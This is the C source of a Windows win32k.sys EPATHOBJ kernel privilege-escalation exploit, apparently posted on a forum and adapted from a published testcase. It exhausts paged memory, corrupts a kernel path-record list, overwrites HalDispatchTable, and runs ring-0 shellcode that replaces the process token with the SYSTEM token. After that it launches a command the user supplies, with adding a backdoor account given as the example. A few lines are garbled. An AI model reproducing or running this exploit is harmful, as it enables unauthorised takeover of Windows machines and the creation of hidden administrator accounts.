- #include <stdio.h>
- #include <STDARG.H>
- #include <stddef.h>
- #include <windows.h>
- //#include <ntstatus.h>
- #pragma comment(lib, "gdi32")
- #pragma comment(lib, "kernel32")
- #pragma comment(lib, "user32")
- #define MAX_POLYPOINTS (8192 * 3)
- #define MAX_REGIONS 8192
- #define CYCLE_TIMEOUT 10000
- #pragma comment(linker, "/SECTION:.text,ERW")
- //
- // win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.
- //
- // Tavis Ormandy <taviso () cmpxchg8b com>, March 2013
- //
- POINT Points[MAX_POLYPOINTS];
- BYTE PointTypes[MAX_POLYPOINTS];
- HRGN Regions[MAX_REGIONS];
- ULONG NumRegion = 0;
- HANDLE Mutex;
- // Log levels.
- typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
- VOID LogInit();
- VOID LogRelase();
- BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
- // Copied from winddi.h from the DDK
- #define PD_BEGINSUBPATH 0x00000001
- #define PD_ENDSUBPATH 0x00000002
- #define PD_RESETSTYLE 0x00000004
- #define PD_CLOSEFIGURE 0x00000008
- #define PD_BEZIERS 0x00000010
- #define ENABLE_SWITCH_DESKTOP 1
- typedef struct _POINTFIX
- {
- ULONG x;
- ULONG y;
- } POINTFIX, *PPOINTFIX;
- // Approximated from reverse engineering.
- typedef struct _PATHRECORD {
- struct _PATHRECORD *next;
- struct _PATHRECORD *prev;
- ULONG flags;
- ULONG count;
- POINTFIX points[4];
- } PATHRECORD, *PPATHRECORD;
- PPATHRECORD PathRecord;
- PATHRECORD ExploitRecord = {0};
- PPATHRECORD ExploitRecordExit;
- typedef struct _RTL_PROCESS_MODULE_INFORMATION {
- HANDLE Section; // Not filled in
- PVOID MappedBase;
- PVOID ImageBase;
- ULONG ImageSize;
- ULONG Flags;
- USHORT LoadOrderIndex;
- USHORT InitOrderIndex;
- USHORT LoadCount;
- USHORT OffsetToFileName;
- UCHAR FullPathName[ 256 ];
- } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
- typedef struct _RTL_PROCESS_MODULES {
- ULONG NumberOfModules;
- RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
- } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
- typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
- typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
- typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );
- typedef ULONG ( __stdcall *NtFreeVirtualMemory_)( HANDLE, PVOID, PULONG, ULONG);
- NtQueryIntervalProfile_ NtQueryIntervalProfile;
- NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
- NtQuerySystemInformation_ NtQuerySystemInformation;
- NtFreeVirtualMemory_ NtFreeVirtualMemory;
- ULONG PsInitialSystemProcess, PsReferencePrimaryToken,
- PsGetThreadProcess, WriteToHalDispatchTable, FixAddress;
- void _declspec(naked) ShellCode()
- {
- __asm
- {
- pushad
- pushfd
- mov esi,PsReferencePrimaryToken
- FindTokenOffset:
- lodsb
- cmp al, 8Dh;
- jnz FindTokenOffset
- mov edi,[esi+1]
- mov esi,PsInitialSystemProcess
- mov esi,[esi]
- push fs:[124h]
- mov eax,PsGetThreadProcess
- call eax
- add esi, edi
- push esi
- add edi, eax
- movsd
-
- ;add token ref count.
- pop esi
- mov esi, [esi]
- and esi, 0xFFFFFFF8
- lea eax, [esi-0x18]
- mov DWORD PTR [eax], 0x016B00B5
- ;fix the haltable
- mov eax, WriteToHalDispatchTable
- mov ecx, FixAddress
- mov [ecx], 0xC3
- mov DWORD PTR [eax], ecx
- popfd
- popad
- ;set ret code for NtQueryIntervalProfile
- mov eax, [esp+0xc]
- mov DWORD PTR [eax+4], 1
- mov DWORD PTR [eax+8], 0xC0000018
- xor eax, eax
- ret
- }
- }
- DWORD WINAPI WatchdogThread(LPVOID Parameter)
- {
- //
- // This routine waits for a mutex object to timeout, then patches the
- // compromised linked list to point to an exploit. We need to do this.
- //
- LogMessage(L_INFO, "Watchdog thread %d waiting on Mutex", GetCurrentThreadId());
-
- if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
-
- //
- // It looks like the main thread is stuck in a call to FlattenPath(),
- // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
- // up, and then patch the list to trigger our exploit.
- //
- while (NumRegion--)
- DeleteObject(Regions[NumRegion]);
-
- LogMessage(L_ERROR, "InterlockedExchange(0x%08x, 0x%08x);", &PathRecord->next, &ExploitRecord);
-
- InterlockedExchange((PLONG)&PathRecord->next, (LONG)&ExploitRecord);
-
- } else {
- LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
- }
-
- return 0;
- }
- void wellcome()
- {
- printf("\t\tthe win32k.sys EPATHOBJ 0day exploit\n");
- printf("***********************\n");
- ********************************************
- printf("***\ttested system:xp/2003/win7/2008 (*32bit*)\t\t***\n");
- printf("*******************************************************************\n");
- }
- void usage()
- {
- printf("\nusage:\n<app> <cmd> <parameter>\n");
- printf("example:\napp.exe net "user 111 111 /add"");
- }
- BOOL
- FindAFixAddress(
- ULONG NtoskrnlBase)
- {
- FixAddress = NtoskrnlBase + FIELD_OFFSET(IMAGE_DOS_HEADER, e_res2);
- LogMessage(L_INFO, "Get FixAddress --> 0x%08x", FixAddress);
- return TRUE;
- }
- // 0x602464FF; /*jmp esp+0x60*/
- // 0x51C3686A; /*push 0; ret*/
- DWORD CheckMagicDword()
- {
- OSVERSIONINFOEX OSVer;
- DWORD dwMagic = 0;
- OSVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
- if(GetVersionEx((OSVERSIONINFO *)&OSVer)){
- switch(OSVer.dwMajorVersion){
- case 5:
- dwMagic = 0x602464FF;
- break;
- case 6:
- dwMagic = 0x642464FF;
- break;
- default:
- dwMagic = 0;
- }
- }
- return dwMagic;
- }
- int main(int argc, char **argv)
- {
- HANDLE Thread;
- HDC Device;
- ULONG Size;
- ULONG PointNum;
- int nret = 0;
-
- DWORD MAGIC_DWORD = CheckMagicDword();
- ULONG AllocSize = 0x1000, status, NtoskrnlBase;
- RTL_PROCESS_MODULES module;
- HMODULE ntoskrnl = NULL;
- DWORD dwFix;
- ULONG Address = MAGIC_DWORD & 0xFFFFF000;
- LONG ret;
- BOOL bRet = FALSE;
- #ifdef ENABLE_SWITCH_DESKTOP
- HDESK hDesk;
- #endif
- HMODULE ntdll = GetModuleHandle( "ntdll.dll" );
-
- wellcome();
- if (argc < 2){
- usage();
- return -1;
- }
- if (!MAGIC_DWORD){
- LogMessage(L_ERROR, "unsupported system version\n");
- return -1;
- }
- LogInit();
- NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );
- NtAllocateVirtualMemory = (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );
- NtQuerySystemInformation = (NtQuerySystemInformation_)GetProcAddress( ntdll ,"NtQuerySystemInformation" );
- NtFreeVirtualMemory = (NtFreeVirtualMemory_)GetProcAddress( ntdll ,"NtFreeVirtualMemory" );
- if ( !NtQueryIntervalProfile || !NtAllocateVirtualMemory ||
- !NtQuerySystemInformation || !NtFreeVirtualMemory){
- LogMessage(L_ERROR, "get function address error\n");
- LogRelase();
- return -1;
- }
-
- //
- // try to allocate memory.
- //
- while (TRUE){
- ret = NtAllocateVirtualMemory( (HANDLE)-1, &Address, 0, &AllocSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
- if(ret < 0){
- MEMORY_BASIC_INFORMATION meminfo;
- LogMessage(L_ERROR, "allocate memory error code 0x%08x", ret);
- LogMessage(L_INFO, "try to free memory");
- if(VirtualQuery((LPVOID)Address, &meminfo, sizeof(meminfo))){
- LogMessage(L_INFO, "meminfo state %d %d\n", meminfo.State, meminfo.Protect);
- }
- ret = NtFreeVirtualMemory((HANDLE)-1, &Address, &AllocSize, MEM_RELEASE);
- if (ret < 0){
- LogMessage(L_ERROR, "free memory error code 0x%08x", ret);
- LogRelase();
- return -1;
- }
- }else{
- break;
- }
- }
-
- //
- // get the kernel info
- //
- status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
- if ( status != 0xC0000004 ){
- LogMessage(L_ERROR, "NtQuerySystemInformation error code:0x%08x\n", status);
- LogRelase();
- return -1;
- }
-
- NtoskrnlBase = (ULONG)module.Modules[0].ImageBase;
-
- //
- // 把ntoskrnl.exe加载进来
- //
-
- ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );
- if (ntoskrnl == NULL){
- LogMessage(L_ERROR, "LoadLibraryA error code:0x%08x\n", GetLastError());
- LogRelase();
- return -1;
- }
-
- //
- // 计算实际地址
- //
-
- WriteToHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4;
- PsInitialSystemProcess = (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
- PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;
- PsGetThreadProcess = (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
-
- if(!FindAFixAddress(NtoskrnlBase)){
- LogMessage(L_ERROR, "Can not Find A Fix Address\n");
- nret = -1;
- goto __end;
- }
- //
- // Create our PATHRECORD in user space we will get added to the EPATHOBJ
- // pathrecord chain.
- //
- PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
- sizeof(PATHRECORD),
- MEM_COMMIT | MEM_RESERVE,
- PAGE_EXECUTE_READWRITE);
- LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);
-
- //
- // Initialize with recognizable debugging values.
- //
- FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
- PathRecord->next = PathRecord;
- PathRecord->prev = (PPATHRECORD)(0x42424242);
-
- //
- // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
- // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
- // loop in EPATHOBJ::bFlatten().
- //
- PathRecord->flags = 0;
- LogMessage(L_INFO, " ->next @ %p", PathRecord->next);
- LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev);
- LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags);
-
- ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;
- ExploitRecordExit->next = NULL;
- ExploitRecordExit->next = NULL;
- ExploitRecordExit->flags = PD_BEGINSUBPATH;
- ExploitRecordExit->count = 0;
-
- ExploitRecord.next = (PPATHRECORD)MAGIC_DWORD;
- ExploitRecord.prev = (PPATHRECORD)WriteToHalDispatchTable;
- ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
- ExploitRecord.count = 4;
-
- LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);
-
- //
- // Generate a large number of Belier Curves made up of pointers to our
- // PATHRECORD object.
- //
- for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
- Points[PointNum].x = (ULONG)(PathRecord) >> 4;
- Points[PointNum].y = (ULONG)(PathRecord) >> 4;
- PointTypes[PointNum] = PT_BEZIERTO;
- }
- //
- // Switch to a dedicated desktop so we don't spam the visible desktop with
- // our Lines (Not required, just stops the screen from redrawing slowly).
- //
- #ifdef ENABLE_SWITCH_DESKTOP
- hDesk = CreateDesktop( "DontPanic",
- NULL,
- NULL,
- 0,
- GENERIC_ALL,
- NULL);
- if (hDesk){
- SetThreadDesktop(hDesk);
- }
- #endif
-
- while (TRUE){
- BOOL bBreak = FALSE;
- Mutex = CreateMutex(NULL, TRUE, NULL);
- if (!Mutex){
- LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
- nret = -1;
- goto __end;
- }
-
- //
- // Get a handle to this Desktop.
- //
- Device = GetDC(NULL);
-
- //
- // Spawn a thread to cleanup
- //
- Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
-
- LogMessage(L_INFO, "start CreateRoundRectRgn");
-
- //
- // We need to cause a specific AllocObject() to fail to trigger the
- // exploitable condition. To do this, I create a large number of rounded
- // rectangular regions until they start failing. I don't think it matters
- // what you use to exhaust paged memory, there is probably a better way.
- //
- // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
- // failure. Seriously, do some damn QA Microsoft, wtf.
- //
- for (Size = 1 << 26; Size; Size >>= 1) {
- while (TRUE){
- HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);
- if (!hm){
- break;
- }
- if (NumRegion < MAX_REGIONS){
- Regions[NumRegion] = hm;
- NumRegion++;
- }else{
- NumRegion = 0;
- }
- }
- }
- LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
- LogMessage(L_INFO, "Flattening curves...");
-
- //
- // Begin filling the free list with our points.
- //
-
- dwFix = *(PULONG)ShellCode;
- for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
- BeginPath(Device);
- PolyDraw(Device, Points, PointTypes, PointNum);
- EndPath(Device);
- FlattenPath(Device);
- FlattenPath(Device);
-
- //
- // call the function to exploit.
- //
- ret = NtQueryIntervalProfile(2, (PULONG)ShellCode);
-
- //
- // we will set the status with 0xC0000018 in ring0 shellcode.
- //
- if (*(PULONG)ShellCode == 0xC0000018){
- bRet = TRUE;
- break;
- }
-
- //
- // fix
- //
-
- *(PULONG)ShellCode = dwFix;
- EndPath(Device);
- }
-
- if (bRet){
- LogMessage(L_INFO, "Exploit ok run command");
- ShellExecute( NULL, "open", argv[1], argc > 2 ? argv[2] : NULL, NULL, SW_SHOW);
- bBreak = TRUE;
- }else{
- LogMessage(L_INFO, "No luck, cleaning up. and try again..");
- }
-
- //
- // If we reach here, we didn't trigger the condition. Let the other thread know.
- //
- ReleaseMutex(Mutex);
-
- ReleaseDC(NULL, Device);
- WaitForSingleObject(Thread, INFINITE);
- if (bBreak){
- break;
- }
- }
- __end:
- LogRelase();
- if (ntoskrnl)
- FreeLibrary(ntoskrnl);
- #ifdef ENABLE_SWITCH_DESKTOP
- if (hDesk){
- CloseHandle(hDesk);
- }
- #endif
- return nret;
- }
- CRITICAL_SECTION gCSection;
- VOID LogInit()
- {
- InitializeCriticalSection(&gCSection);
- }
- VOID LogRelase()
- {
- DeleteCriticalSection(&gCSection);
- }
- //
- // A quick logging routine for debug messages.
- //
- BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
- {
- CHAR Buffer[1024] = {0};
- va_list Args;
-
- EnterCriticalSection(&gCSection);
- va_start(Args, Format);
- _snprintf(Buffer, sizeof(Buffer), Format, Args);
- va_end(Args);
- switch (Level) {
- case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
- case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break;
- case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break;
- case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;
- }
-
- fflush(stdout);
- fflush(stderr);
-
- LeaveCriticalSection(&gCSection);
- return TRUE;
- }
复制代码 此漏洞在做压力测试的时候发现。
|